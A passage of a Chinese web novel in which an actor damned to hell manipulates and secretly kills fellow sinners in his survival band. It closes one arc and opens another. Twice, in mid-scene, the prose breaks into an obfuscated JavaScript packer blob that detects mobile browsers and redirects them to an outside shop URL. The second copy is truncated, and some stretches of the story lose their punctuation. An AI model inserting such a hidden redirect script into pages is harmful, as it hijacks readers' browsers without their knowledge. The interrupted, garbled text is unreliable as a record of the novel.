“是啦是啦,我们那时候还是朋友,你不知道我们什么时候成亲,其实我也不知道我们什么时候成的亲……但是我刚才一想,咦,原来那时候我们就算私定终身了,现在更是和你一块儿私奔到了这里,那就算已经成亲了吧!” 巫曦理直气壮地说:“好啦,既然我们早就成了亲,你还有什么不满意?” 孔宴秋瞪着他,实在说不出一句话,最后只得无奈地揉着太阳穴,不过想了一会儿,他又笑了起来。 算了,横竖要被他欺负一辈子的,就算自己成了孔雀明王,能有什么办法呢? 他叹出一口气,幸福地认命了。 作者有话要说 【感谢大家,小曦和小啾的旅途,暂时就告一段落啦……! 下个单元是恋爱脑蜘蛛恶魔和白切黑演员的专场,提现告知一下受是个很坏的家伙,应该也不算剧透吧……!(挠头) 大家敬请期待!】 巫曦:*脱掉衣服,像一个诱惑又搞笑的阴暗萝卜,在地上滚来滚去*哈哈哈,我在这里!来抓我呀! 孔宴秋:*抓住了* 巫曦:*像所有被抓住的阴暗萝卜那样哭了,但是阴暗萝卜应该反抗一切暴力!所以他飞快地夺走了孔宴秋的贞洁*嗯! 孔宴秋:*没想到会遭遇这样的事,立刻昏倒了,醒过来之后马上决定了婚礼的地点和日期*我需要你对我负责,所以我们会在明天早上结婚—— 巫曦:*再次哭了,因为他意识到自己再也无法逃脱*不过,这样也不坏?*不哭了* 第 71 章 塔兰泰拉喜剧(一) 第71章塔兰泰拉喜剧(一) “我砍死她的时候,她的眼睛凸得像一条鱼。” 血色的火焰噼啪跳跃,投下晦暗不定的暗影,将赤红色的大地映出膏脂一般凝肥的色泽,油润润的,仿佛一片蠕动的舌面,周遭嶙峋锋利的漆黑色山崖,便如交错纵横的犬齿,向翻腾着雷电的雾紫色天空突刺。 “你们杀过鱼吧。大的,小的,肥的,瘦的,新鲜的,不新鲜的,我小时候天天杀鱼。”坐在火堆边的男人说,他低下头,抠着自己凹凸不平的指甲,“我爸就是卖鱼佬,我四岁那年我妈就跑了,那女的掏空我家,头也不回地跑了!我在早市帮我爸杀鱼,拿着比我手臂还长的刀,有一次没拿稳,刀把我脚扎了个大窟窿,我爸说去不起医院,叫我忍着,他去码头下面抠了块泥巴,再往上面吐口唾沫,往我脚上一糊,嘿!” 他抬起头,乱糟糟的头发半长不短地遮着眼睛,隐约透出一双瞳仁小,眼白多的三角眼。 “我家里穷,我爸给我娶媳妇儿的钱,都是这么一条条地攒下来的!”他的语气一下变得狠毒,快意,“臭婊子,我当狗舔了她那么久,她说分手就分手?好,分手可以!鱼过了我家要剐层鳞,她过了我的手,不脱层皮说得过去?老子从来没后悔过!” 一口唾沫呸在色泽诡异的火堆里,他笑了一声:“我死了不算啥,那么个白鱼样的活女子陪我一块儿死,不亏!要是能投胎转世,她肯定还是我媳妇儿!” 他说完自己的往事,旁边的男人便嗤笑了一声,颇有点看不上的意思:“钱志强啊,搞死个女的算什么能耐,看把你给得瑟的,跟捡钱了一样。” 钱志强嘴皮子一翻,想反骂,但又想起了什么,忌惮地缩了回去,只在嘴里嚼话。 “那说说你呗,李哥,大家伙儿都说了一圈了!”旁边的人起哄道,“身手那么好,以前不是军队上的吧?” 被称作“李哥”,李绩显然有点小得意,他摆了摆手,故作谦虚道:“军队?说真的,我们混雇佣兵的,还真看不上军队那点钱。什么走私军火,卖粉卖人,钱比湄公河里的水还来得猛!不过嘛,战场上的枪子儿不长眼睛,哎,好汉不提当年勇,不说了。” 除了钱志强和另一个人不吭气,周围的四个人赶紧吹捧起来,将李绩捧得天上有,地下无,一口一个“李哥”喊得亲热,“兄弟们全靠你了”之类的话,更是层出不穷地往外喷涌。 李绩受用了一阵,忽然想起有个人自始至终 还没说过话于是笑呵呵地一挑下巴:“哎!那边的大明星怎么不说话?瞧不起我们这些俗人是吧?” 他这么一说余下几个人的眼神也都汇聚在了对方身上被称作“大明星”的男人拨弄着火堆察觉到周围的氛围发生了变化心不在焉地抬头一望笑了起来。 “刚刚在想事情到我了吗?” 这张脸一抬起来周遭诡谲血腥的环境似乎都为之一亮。 有人美在其神有人美在其形只有万中无一的幸运儿既得基因之神的眷顾又得老天的看护才能美得神形兼具令人难以形容他的妙处在哪里。 他的嘴唇虽然红润却有些过于丰满;他的眉毛尽管浓黑眉尾却锋利上挑;他的眼睛虽美眼窝却太幽邃似乎藏着许多不由言说的秘密。 这是一张能被人挑出许多小毛病的脸但当他抬起头的那一刻沉静而温柔的光彩盈满面颊立刻便使人联想到庙堂上的白玉观音。 他的声音同样有些沙哑可是兼具一股别样的魔力。 有的人嗓子清脆洪亮只在初听时惊艳听多了听久了难免使听众觉得一刮一刮地刺着耳朵可他的声音是能叫人长久沉浸下去的。当他诚恳地酝酿措辞亲切又威严地皱着眉头人们便会觉得从这张嘴里说出的一切话都可靠可信他说的一切言论都是为了听话的人好。 盛玉年不好意思地笑了笑眼中的神采稍微黯淡:“其实我的故事没什么好说的俗套得很就不让大家……” “哎!”李绩急忙说“堂堂大明星是怎么跟着我们这些人渣落到地狱里的试问有谁不好奇原因?不说是吧不说就不给你李哥面子了啊。” 他说的是真的。 这里的人有遭枪毙的有被仇家捅心窝子的也有出车祸的得心脏病的……全都在现世死得不能再死一睁眼的时候却不约而同地落到了这个诡异的地方 可惜这不是额外的恩赐而是更可怕的噩梦般的惩罚。 他们称呼这里为“地狱”也是恰如其分的比喻因为这里真的存在恶魔。 为了在这个恐怖至极的地方求生哪怕是生前呼风唤雨能够随意掌控他人生死的恶人们此时也不得不联合起来听从更恶之人的命令抱团求生。 地狱里没有白天黑夜只能靠人体的生物钟感受时间的流逝。大约在三天前李绩的小队发现了落单的盛玉年。 一开始他们只是为了这个男人的容貌赞叹 后来还是队里的王小实一眼认出了他,喊出了他的名字。 “我靠,这不是盛玉年吗?!他激动起来,指手画脚地比划着,“演《寒岛来信》和《喜团圆》的那个盛玉年啊!咋也被打进十八层地狱了,这么罪孽深重的吗?服了,不会是搞大哪个粉丝的肚子,逼得人家自杀了吧? 他扯着嗓子,喊得唾沫横飞,然后就被李绩一个耳光抽翻在地,半透明的脸都被打肿了,灰溜溜地缩进队伍里,不敢再吭气了。 对于这番冒犯意味十足,甚至带着侮辱性的问题,盛玉年只是黯然地蹙了下眉心,便展开笑颜,落落大方地自我介绍道:“是,我是盛玉年,初来乍到,还不是很熟悉环境。大家是怎么到这儿的? 李绩看了他半天,依稀也认出了那张大荧幕上风头无两的脸,稀罕地“哟嚯了一声。 虽说下到地狱的人没有无辜的,但他这种态度,这种风度,实在是罕见。李绩以前遇到的人类同胞,要么一副趾高气昂,死了也不冤的拽样,要么就是圆滑得过了头,一看可以依附的小队,赶紧扑过来抱大腿的贱样。 他思索两秒钟,拄着手里的骨质尖刀,把头一偏:“相逢即是有缘,要不要跟我们一块儿? 大概是出于一种收集战利品的心态,他将盛玉年吸纳进了自己的队伍。一个大明星,无论下到地狱还是上到天堂,这样的人都是有价值的,他做多了贩人的生意,知道什么货色才最珍稀。 接下来的几天,情况大大超出了李绩的预料。 都说男人多的地方是非多,一群渣滓烂人扎堆的鬼地方,更是摩擦不断,口气上来了,恨不得把对方往死里捅。但盛玉年来了之后,仅是观察了一个小时,他就迅速挤占了队伍里最空缺的生态位。 他成了队员之间的缓冲剂。 如果“会说话是一门艺术,那盛玉年无疑将这门艺术修炼得登峰造极,无人再能出其右。何况他不仅会说话,他还会夸人。 在地狱里,他们也需要捕杀小型恶魔,靠它们的皮毛血肉为生。因为他们脚下的这片血红土地在一刻不停地汲取着他们的灵魂,不补充能量,他们就会慢慢消散、干涸,直到被当成一摊有知觉的肉汤,活活地被大地喝进去。 有天早上,李绩看到盛玉年在和钱志强说话,他只问了那个阴沉的杀人犯一个问题:“我发现了,你以前是不是干这一行的,经常用得到刀? 钱志强点了点头,没说话。 然后盛玉年笑了,他笑得开怀,只说了四个字:“我就知道! 他的语气很笃定,很得意,那是一种“被我猜中了的得意,钱志强仍然没有说话,但他的头已经微微地扬起来了,手上下刀的动作也更轻快,更有力,更“炫耀。 在这之后,盛玉年再去找钱志强,要他帮忙切什么东西,对方从没拒绝过他的请求。 李绩真心觉得,盛玉年是个特别有意思的人,所以对盛玉年一直三缄其口的前尘往事,他同样十分感兴趣。借着大家轮番自报家门的机会,他一定要问个清楚。 “好吧,盛玉年笑了起来,“那我就实话实说了。我有一个前男友…… “前男友!王小实吃惊地打断,兴奋得脸都红了,“原来大明星喜欢男的! 盛玉年平静地看着众人,歉疚道:“是的,我是个同性恋。大家如果觉得不舒服,我就…… “你说你的,李绩不耐烦道,“死都死了,还讲究什么。 “好,那我继续说了。被打断两次,盛玉年一点儿不恼,“其实说爱不爱的,都有些虚,我当时只想着,他应该就是我可以相守一生的人了。我们已经在筹备婚礼,无非避开狗仔队,偷偷登记一下,然后回来请亲朋好友吃个饭,就当摆酒席。 他苦笑一声:“我特别信任他,他说自己的父母以前吃过很多苦,他要好好赡养他们,我信了,他说自己要做项目,应酬消费高,要全套名牌,要名车名包名表,我也毫不犹豫地给他投钱,给他买单。后来他还嫌麻烦,我就说,反正你知道我的所有的卡号密码,你自己刷吧,我的钱就是你的钱。 王小实喃喃道:“哎呦喂…… “后来还经历了很多事吧,直到我们的共友看不过眼,来提醒我,我才发现,做项目完全是骗人的谎话,他从我户头上陆陆续续地划走了一千多个,那是我多年来辛辛苦苦拍戏挣来的钱,他就用那些钱花天酒地,包养情人。盛玉年轻轻地道,“他出轨了。 “所以……你杀了他?有人猜测。 盛玉年摇摇头:“没有,知道真相以后,我颓了一个多月,最后决定爬起来,跟他断绝一切关系。可他还不满意,他觉得出轨是我小题大做,我掏钱给他花也是理所应当,我怎么可以把脖子缩回去,不再给他吸血?所以他来找我了,包里藏着一把刀。 “我住在独栋别墅,他特地挑了保洁刚刚离开的时间段。他说,“我逃出门,他拿刀冲过来,扎在我的后背,一下我就觉得不行了。但我还不想死,挣扎的时候,我推了他一把……楼梯刚刚拖过,地面很滑 ,他滚下去,是后脑勺着地的。 “那时候我已经没力气进屋报警,我躺在地下,觉得有小雨打在我脸上,想起昨天的天气预报,果然没一会儿,暴雨倾盆。他深吸一口气,睫毛颤抖,自持地沉默了片刻,“我再也看不到任何东西了。 听见他娓娓真挚的叙述,这一刻,在场这些冷血的杀人凶手,竟不约而同地体会到了一股巨大的悲伤。 见他默默地盯着火堆,王小实张张嘴巴,讷讷地劝道:“哎,哥你挺惨的,但那个男的也是该死,你、哎……只能说好人不长命吧。 盛玉年勉强打起精神,笑道:“谁说我是好人了?拍戏的时候,我可没少耍大牌,更没少叫经纪人打压那些嚣张的后辈。我要是好人,就不会死后来到这里…… 钱志强忍不住说:“你人不坏的。 “是啊,大家伙儿又不是眼瞎,认不出好赖…… “对对。 李绩思忖半天,笑了一下。 “节哀吧,老弟,他半是真心,半是假意地安慰了盛玉年,“既来之,则安之,别想那么多有的没的。 盛玉年点点头:“谢谢李哥,你说的我懂。 李绩也颔首,已经很晚了,他开始安排人守夜,恰恰好,今天轮到盛玉年和钱志强。 “你们好好休息,盛玉年说,他很快调整好了情绪,“我们明天还得找食物,必须养足精神。 钱志强一声不吭,依旧是瑟缩的阴暗样,两个人拨弄着火堆,盛玉年专心照看,他却时不时抬起眼睛,瞥一眼盛玉年的脸。 余下四个人各自睡去,钱志强的手忽然动了。 他脏兮兮的手指,就像三根泥巴里钻过的鱼,一下摸在盛玉年光洁的手腕上。 盛玉年吃了一惊,他转头,轻声道:“钱哥,你怎么了? 钱志强咧嘴一笑,居然颇有点自得似的,他压低声音,对盛玉年说:“小盛——不,小年,我说真的,我刚刚想过,你要是喜欢……那啥,我也不是不行,你,你懂的吧? 盛玉年一时顿住了,他愣了不到半秒,便抬眼盯着钱志强。 跳跃的火光中,他脸上的影子犹如破败寺庙里的古旧神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481956|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像,一瞬狰狞,一瞬恬静。 “钱哥,不要说笑,他摇摇头,庄重地拿下钱志强的手指,“我佩服你敢爱敢恨,你是个下地狱的恶人,但你肯为自己讨回公道,这已经是世上很多人都做不到的事。和你一样,我也受过一场情伤,并且还没有走出来。 钱 志强急了,他刚想说点什么来证明自己的决心,盛玉年便接着低落地说:“我一直对你印象特别好,我原以为你是个不同寻常的人……请别破坏你在我心里的形象,好吗?” 钱志强讪讪地张了张嘴,但不知道该回什么。 他只知道,自己死去已久的心口,瞬间被对方的话捂得很热,他飘飘然地想发表一点感言,可碍于文化水平不高,很难说出什么热血义气的句子,最后,他只能拍着胸脯,信誓旦旦地陪笑说:“是哥哥冒昧了,你放心,你放心!” 盛玉年不着痕迹地偏头,伸出手去掖了掖队伍里成员没盖好的衣服,再坐回来的时候,他已经自然而然地对另一个守夜人隔开了一段距离。 一觉醒来,队伍继续出发。 作为入队福利,盛玉年手里也拿着把骨质小刀,一行人尽可能地武装到脚,小心翼翼地在浓雾中前进。 “小心,”李绩低声说,“前头很有可能就是……” 话还没说完,前方不远处就传出一声撕心裂肺的惨叫! 伴随这声尖叫,几个人形搅动雾气,拼命狂奔而来,身后跟着一只巨大的黑影,队里的人定睛一看,脸都白了。 ——那是一只体格壮硕,甲壳上长满哀嚎的人脸,血钳上遍布锋利尖刺的巨蟹形态恶魔! 这里的罪人都称呼它为“撕裂者”,一旦被撕裂者抓住,不光会被分尸惨死,残存的灵魂更是会被禁锢在它的外壳上,经受永恒的折磨。 “跑!”李绩大吼道,“分开跑,不能待在一块儿,分开跑!” 队长一声令下,盛玉年毫不犹豫地选择了一个方向。 但是在逃跑前,他蓦地转头,朝钱志强抛了一个眼神。 这个眼神就像有魔力的钩子,即便在生死攸关的时刻,钱志强的双腿还是不由自主地动了起来,跟着跑在盛玉年身后。 撕裂者的尖啸响彻天空。盛玉年腿长,他领着钱志强,已经跑到了陡峭丛生的黑岩后头。 这两个人的运气还不错,撕裂者并未追击他们。奔跑的途中,钱志强又气喘吁吁地凑过来道:“小、小年,你使眼色让哥跟着,是不是,是不是有话跟哥说?” 盛玉年似笑非笑地瞥了他一眼。 从昨夜起,钱志强心头的热火就没有消停过,看到这个表情,他更像闻到了香肉的狗,巴巴地贴过去道:“小年,你跟哥说实话,你心里到底有没有对我……” 他们已经跑到了荒无人烟的所在。 盛玉年仍旧没有说话,在钱志强再贴 过来的时候,他冷不丁地猛一伸手,将人狠狠一推,直接推到了盘绕岩石的藤蔓上头! 钱志强完全没想到他会突然发难,地狱里的东西都是活的,此刻,一感觉到罪人的气息,蔓藤便一下盘绕过来,飞快地缠住了钱志强的身体。 “你……!” 钱志强惊怒交加,正欲开口,盛玉年并指成刀,一刀插在他的喉管处。 这一下快准狠,顷刻便叫人两眼发黑,舌头根儿也往外抻。紧接着第二下,盛玉年猛地推在他的下颔骨上,致使下牙瞬间没入舌肉,嗞出数股鲜血! 这个看似人畜无害的男人,出手竟如此狠辣,简直闻所未闻。钱志强痛得想要惨叫,然而发不出一丁点儿声音,盛玉年盯着他,再次露出了又平静,又温柔的笑容。 然后,他手起刀落,将蔓藤切断,反手绕颈,生生将一个成年男人拖行了十几米。在这个过程中,钱志强好容易挣脱出来的两只手,全用来抓挠脖子上的束缚。 “救命啊!救命啊!” 远方的撕裂者已然安静了下来,想必还是收割到了猎物的生命,心满意足地离开了。在这个时候,盛玉年却忽然开始求救了! 他的声音带着哭腔,正如每一个身陷险境,或者看到同伴身陷险境的旅人,急得不知该怎么办才好,然而他手上的动作完全不停,就这样强行把钱志强拖到了地狱随处可见的罅隙边上。 地狱的裂缝是那些不安亡者的栖身地,但凡有罪人挨得太近,它们便会伸出瘦骨嶙峋的利爪,急不可耐地吮吸新鲜灵魂的能量。 “谁能来救救他,天啊!”盛玉年的嗓音变得紧绷,绝望,仅仅听到他的呼喊,那些路过一旁的人,必然会情不自禁地赶来制止一场悲剧,“撑住,你一定要撑住!” 紧接着,他沉肩卸力,一个过肩摔,笔直地将拖行过来的钱志强摔进了裂缝当中! 钱志强绝望的双眼里,倒映出他无比美丽,含着悲悯泪水的面庞。 亡魂已经攫住了钱志强的身体,他被恐惧占据的大脑里,突然闪过一个念头。 被他杀死的前女友,临终前似乎也是这么苦苦挣扎的。 盛玉年松开了蔓藤,转而握住他的一只手,脏兮兮的手。 再接着,他微微一笑,持刀用力刺穿了对方的手肘。 钱志强的双眼爆出血丝,他想喊,但这个时候,死亡的极寒已然如针刺进他的大脑,以致他的喉间只能发出一些“咯咯”的可怜响声。 盛玉年拽着他的手,与那些亡魂开始拉扯,一边拉,他一边大声呼救。自然,他不能从成百上千的饥饿亡灵手中救回钱志强,不过,他好歹救回了他的一只手。 等到李绩循着呼救声,带着剩下的队员赶到,他只见到盛玉年,还有他手中紧紧抓着的……另一只手。 “我没能救得了他……”泪水顺着白皙的面颊滚落,盛玉年泣不成声。 “对不起,真的对不起……” 作者有话要说 【想了下,还是先给新单元两章连更,明天后天是周末,我再休息啦! 新单元,新主角,给大家在评论区发200个小红包庆祝!】 第 72 章 塔兰泰拉喜剧(二) 第72章塔兰泰拉喜剧(二) 血色的火光照在剩下五个人脸上。 盛玉年麻利地切割小恶魔的皮,去掉角和毒腺。他从前并未做过这样的活计,可几天跟下来,竟也学得有模有样。 只是他盯着火堆,脸上已经没了往常的笑容。 “盛哥,来吃饭吧。”肉烧好了,王小实喊了他一声,他才蓦然惊醒似的,抬头应了一声。 说是饭,其实就是烧得焦黑枯淬的恶魔肉。罪人在地狱里还保有生前的感官,这样的东西,是人在活着时看都不会看一眼的垃圾,但到了这里,迫于生计,也只能捏着鼻子往下咽。 盛玉年撕下两绺放进嘴里,呆呆地静默了一会儿,便看向王小实,把自己的那份给他推了推。 “小实,你帮我吃吧,我没胃口。” 王小实吃得满嘴掉黑渣,闻言愣了下。 “盛哥,你,你还在伤心呐?”他皱着脸,“人死不能复生……呃,好吧,人再死不能复生,钱志强被亡魂抓走,那就是他的命!咱们幸存下来的人,过好咱们自己的日子就够了,你别为他饿坏了身体,这可不是闹着玩的。” 李绩不吭声,旁边名叫邓方的队友应和道:“是啊,不吃饭咋行?小盛你别意气用事。” “你们说得对,”盛玉年说,“可道理是道理,心是心,人是控制不住自己的感情的。” “而且,”他又冲王小实笑了,“你以为是个人我都给饭啊?我是看你年纪不大,让我想起以前在剧组的一个小兄弟……” 王小实愣住了,这个其貌不扬,因为做“飞车党”抢劫杀人而被判死刑的青年瞪大眼睛,惊奇地说:“真的吗哥?!我长得像明星,真的吗?!” 盛玉年啼笑皆非,推了下他的脑袋:“说你胖你还喘上了?行啦,帮我吃掉这份,好不好?我是真没胃口。” “嘿嘿嘿,得嘞!” 看他们轻松温情的互动,邓方撇了下嘴,跟旁边的同伴嘀咕道:“个小破孩儿,有啥好的……” 李绩冷眼旁观这一切,作为队长,他什么都没说,只是在守夜的时候,他乐呵呵地道:“今天晚上就王小实和我守夜吧,不敢再劳动大明星了,钱志强死得可是不太安稳。” 他这句话里的意味不明,盛玉年摇头苦笑道:“李哥,别说笑了,我不比你阅历足,经历过那么多事。” 李绩一哂,再没说什么。 篝火跳跃,李绩不开口,王小实也 不敢出声。 李绩在想事。 盛玉年的事。 这个男人就像一朵令人惊艳的昙花幽幽盛开在残酷血腥的无间炼狱。他说的话做的事无不昭示着他是一个心地与外表一样完美善良的好人活着时犯下的最大错误也不过是喜欢跟男的搞顺带跟人渣前男友同归于尽。 李绩不是没学问的人他知道同性恋在宗教里是大罪。好就算盛玉年是因为同性恋和杀人才下的地狱那为什么自己跟他相处久了总会产生一种近似于“发怵”的感觉? 因为是灵体李绩的直觉得以变得更加敏锐这种本领使得他躲过了许多潜藏的危险也使他在地狱中安然无恙地熬过了将近四个月的时间。 事出反常必有妖他知道盛玉年一定有问题但地狱里的人才是很珍贵的他还没想好到底是要和他开诚布公地谈一谈彻底将这个神秘的男人收服还是先下手为强先做掉这个不安分的因素再说。 充当木柴的骨头噼啪作响紧绷了一天的精神稍稍放松带着微末的困倦李绩笑了下脑子里懒洋洋地闪过一个猜测。 一切皆有可能如果盛玉年才是杀害钱志强的真凶 被火焰摇曳得松懈的心神骤然紧绷他的笑容凝固了。 ……不不对。 倘若他才是真凶那他的表现岂止是可怕倒不如说他才是从地狱里诞生的魔鬼! 坐在火堆边李绩居然打了个寒颤。 他转过头极其不可思议地望向躺在地上的盛玉年。王小实不明所以地凑过来轻声问:“李哥咋了?” “……滚过去坐好。”李绩从牙缝里挤出这几个字王小实不敢违逆赶紧唯唯诺诺地坐回去了。 他一出声背对他躺下的盛玉年睫毛便不安分地颤了一下。 李绩的手上沾过许多条人命。 这些人有他主动杀的也有倒霉撞在他的枪口上死掉的甚至他自己也是枪子儿下的一条亡魂可李绩从来没见过盛玉年这样的人! 不不不不现在他是队长是领导者在这个比战场残忍凶险千百倍的地方不能无凭无据就怀疑队伍里的核心成员引得人心分裂…… 李绩的思绪又是一顿。 是了这个男人才来了不到一个星期就已经是他队伍里的核心成员了。 这天晚上李绩的思绪难得混乱了很长一段时间以致第二天早上起来看到盛玉年在拿小恶魔 的皮捣鼓什么他没能在第一时间制止。 “这是什么东西?”他拄着尖刀将戒备隐藏在自己的笑脸下头“你在搞什么?” 盛玉年抬起眼睛看到是他不由粲然一笑。 人是视觉动物这话一点儿不假哪怕已经对面前的男人心存戒备李绩的目光还是恍惚了一刹。 “这个是诱饵包!”盛玉年炫耀般地说“刚来这里的时候我就远远见过有的队伍会把它系在身上可以引来很多小恶魔让食物来源变得更稳定一点。我昨天想了一下 李绩还没说话王小实便摇头摆尾地贴过去大声说:“好啊好啊!” 盛玉年盯了他一眼眼中带着责备然后转过头把那个漆黑如苦胆的诱饵包递给李绩。 李绩笑了下他捏捏分量打开看了下作为诱饵的碎骨和烂肉又远远隔着闻了下味道。 挑不出毛病。 但还是留一份心眼儿。 “挺好的”他说“反正那些垃圾丢着也是招苍蝇就当废物利用咯。” 他暗暗刺了盛玉年一句可对方像是完全没听懂只是笑着给队伍里的人都发放了诱饵包然后在自己腰间也挂了一个。 李绩嘴上说着挺好暗地里还是将那个诱饵包丢到了一边继续暗暗围观对方的一举一动。 有了诱饵包做吸引那些大如野狗长着尖牙利爪的黑黢黢小恶魔果然来得更多更勤。对付这种攻击方式单一智商又不高的小喽啰地狱的罪人们早就研究出了自己的一套狩猎方式。 很快每个人身后都拖了一只小恶魔的尸体。王小实兴奋得眼睛发光:“哇大丰收啊!” 邓方不屑道:“这还不算什么等咱们哪天不用吃这种苦得倒牙的玩意儿才叫大丰收了。” 话是这么说但他们意识到就算减员一个人队伍的捕猎能力依然没有下降之后都不约而同地松了口气。 邓方说:“咱们是不是该找个地方歇歇脚了?” 李绩刚想说什么眼神就是一利。 远处的浓雾一阵躁动跑出了五六个惊慌失措满脸恐惧的人身后却不见有什么东西在追。李绩眉头紧皱当机立断道:“快躲起来!快!” 说着他还嫌队员的动作不够快直接将作为猎物的小恶魔远远丢开推搡着离他最近的王小实和盛玉年催促道:“快点 都动起来!” 那些逃出来的人也跳进了黑岩下方的空隙,胸膛不住起伏,惊恐地喘着气。他们也赶忙钻进一个山岩下方的地缝,胆战心惊地望着外头。 “李哥,啥东西啊……” 李绩暴躁地道:“都安静点!” 四面一片寂静,只有雾气搅动的,微弱的流淌声。 如此沉寂了几分钟,盛玉年突然听到了另外一种声音。 咯哒,咯哒,咯哒。 像是锋利的针尖点在地面,伶仃的刺寒缓缓蔓延上来,他们扶着的山岩表面,竟冒起了一层猩红色的霜花。 一只一人多高,浑身漆黑的人面蜘蛛悄无声息地落在他们刚才站立的空地上,十二根尖爪灵敏地点着地面,周身遍布锐利的刺毛。 它原本是鳌肢的地方,被一对蜷缩的赤红触手代替,头顶更生长着一张惨白狰狞的人面,唯独在眼睛的位置是一片光滑的肉。 盛玉年只快速地瞄了一眼,便和其他人一起缩进了地缝里。 这只无眼的可怖魔怪转了一圈,似乎在疑惑猎物的去向,它不住来回搜寻,带起忽远忽近的刺骨寒意。 “是猎魂者!” 不知谁嘶哑地说了这么一句。 奇怪的是,这只蜘蛛形的恶魔似乎完全听不到声音,它团团乱转,完全看不到缩在石头缝儿里的罪人,只有一些咝咝缠绕的低语,混合着极具腐蚀性的唾液,从它的裂口中吮吸不住地往下滴落。 光是听到它的声音,底下几个人便吃疼地抱住了脑袋,仿佛脑浆都被加热了,鼓胀地抵着颅骨。 蓦地,它身体一顿,然后迅猛如风地扑向了一个方向! 盛玉年所在的队伍仍然缩在底下,看不到外界的动静,只听见一阵凄厉至极,撕心裂肺的惨叫划破天际,接着就是血肉淋漓的撕扯声,坚硬足肢咔嚓咔嚓的摩擦声,以及大型动物含吮血浆的啧啧声…… 李绩一行人缩在底下,心都凉了。 猎魂者在进食的时候,当中还夹杂着许多拼命挣扎的抓挠声,不同的人变了调的尖锐噪音,那声音已经分不清哭泣和尖叫,更像一个人垂死之际的不甘呼号。 “它……它吃饭的时候,习惯先挨个钉住,然后按顺序慢慢吃……”邓方讷讷地说,像是已经吓傻了,“我见、见过……” “闭嘴!”李绩呵斥道。 盛玉年没有吭气,他低声说:“我刚刚瞥了一眼,这种恶魔是没有眼睛的,这就说明它看不到外界的动静,和瞎子没有什么两样,而且它似乎也 对人的声音并不敏感,那么它狩猎的依据是什么? 他舒缓,平静的声音,就像一股潺潺流过的清泉,淌过残忍血腥的背景音,一下就吸引了大家的注意力。 连李绩也情不自禁地竖起耳朵,听他分析。 “回想一下,那些人藏在石头底下的时候,最显眼的动静是什么? 王小实皱眉细思,到底年轻,脑子转得快,他第一个震惊道:“是呼吸!他们躲起来的时候,都在大喘气! 话音刚落,那边进食的动静就停了。 猎魂者吃完了几个倒霉蛋,可它还没有离去,还在团团乱转。 盛玉年焦急地转头低呼:“绩哥,屏住呼吸!它肯定是按呼吸辩位的! 他忽然改换了一个更温情,更没有隔阂的称呼,生死关头,李绩心头不由一动,下意识从喉咙里闷出一个“嗯字。 盛玉年又道:“绩哥,麻烦你帮忙盯着外面,我先帮着大家把诱饵包都藏起来……免得引来小恶魔,节外生枝。 李绩点点头,他谨慎地探出头,屏住呼吸,观察着恶魔的动静。 说到诱饵包,王小实往腰间一摸,忽然就愣住了,空的。 他的额头已经冒出了冷汗。 望着盛玉年,他嘴唇微动,刚想说“我的包可能掉在外面了,不知道会不会引来小恶魔,他的背后便陡然传出一阵冲天寒意! ——猎魂者一霎贴近了他们藏身的石缝,触手凶悍地暴起,瞬间刺透了李绩的头颅,喷出一串白珠似的脑浆! 所有人都惊得僵了。 令人肝胆俱裂的咀嚼声中,盛玉年一把抓着王小实的手,轻声说:“小实,看着我就好,别害怕。 他这话看似是对王小实一个人说的,何尝不是对着剩下三个人说的? 猎魂者完全吸干了李绩的血肉,吮吸肉汁的声响不停,他们木呆呆地盯着盛玉年悲慈垂目的面容,就像三尊完全凝固的雕像。 不知过了多久,外面的动静终于停了。 幸存的四个人腿酸脚软,相互搀扶着走出藏身地,看到面前散着一地染血的衣服,其中就有李绩的。 他的迷彩服,靴子,诱饵包,还有长刀都散落一地,猎魂者连骨头都化了吸走,却留下这些杂七杂八的东西,实在有点地狱笑话的意思。 盛玉年黯然不语,默默收拾着遗物,拾起诱饵包的时候,他眉心微皱,站了起来。 “小实, 在李哥身上?” 王小实愣住了他望着盛玉年手上那个栓着蓝线的漆黑小包一下结巴起来。 “这、这我也不知道啊!”他急忙辩解不知为何他总觉得这是一件会出问题的大错事队长刚刚死了自己的诱饵包却出现在一个死人身上……万一猎魂者就是被这东西的气味吸引过来的呢?它是瞎了眼睛可是鼻子还在啊! 果然在场不止他一个人这么想原本蔫头耷脑的邓方一下凶狠起来上来就是一拳狠狠捶在王小实脸上! “忘恩负义的畜生!”邓方骂骂咧咧的“队长平时待你不薄你就这么害他!” 王小实冲出两道鼻血他倒在地下愤怒地吼道:“我说了我不知道!我有什么理由要害死队长?!可能可能是队长刚刚推了我和盛哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们越是向东走路上撞见的行人和恶魔就越少。渐渐地赤红的大地蒙上了丝丝雪白的颜色像擦在鲜血上的一抹牛乳。 邓方好奇地过去用手在上头一揪:“这啥啊?” 同伴急忙过来劝他:“你别乱动。” “怕什么?这一路上都没什么神神鬼鬼的东西应该离大部队驻扎的地方不远了!” 盛玉年的眉梢一挑他确实想除掉这两个多余的人却没想到机会来得这么快。 下一秒潮水般的黑蜘蛛从山岩后头流淌出来个个都有婴儿脑袋那么大 盛玉年面不改色地将一只扑过来的毒蜘蛛砍成两半迅速拿恶魔皮包了蜘蛛尸体拉着王小实转身就跑竟丝毫没有挽救队员的意思。 王小实完全懵了。 好好一个小队从昨天开始死人死到今天居然只剩下他和盛玉年两个。他一时慌了手脚也不管盛玉年要带着他去哪里只是闷头跟着跑。 两人一口气跑出几公里远身后的蜘蛛就像感应到了什么极度危险的气息在原地徘徊了一圈终于不甘地散去。 他们的面前也出现了一道蛛丝堆积粘稠诡谲的高墙像雪一样高耸在磅礴的血色当中。 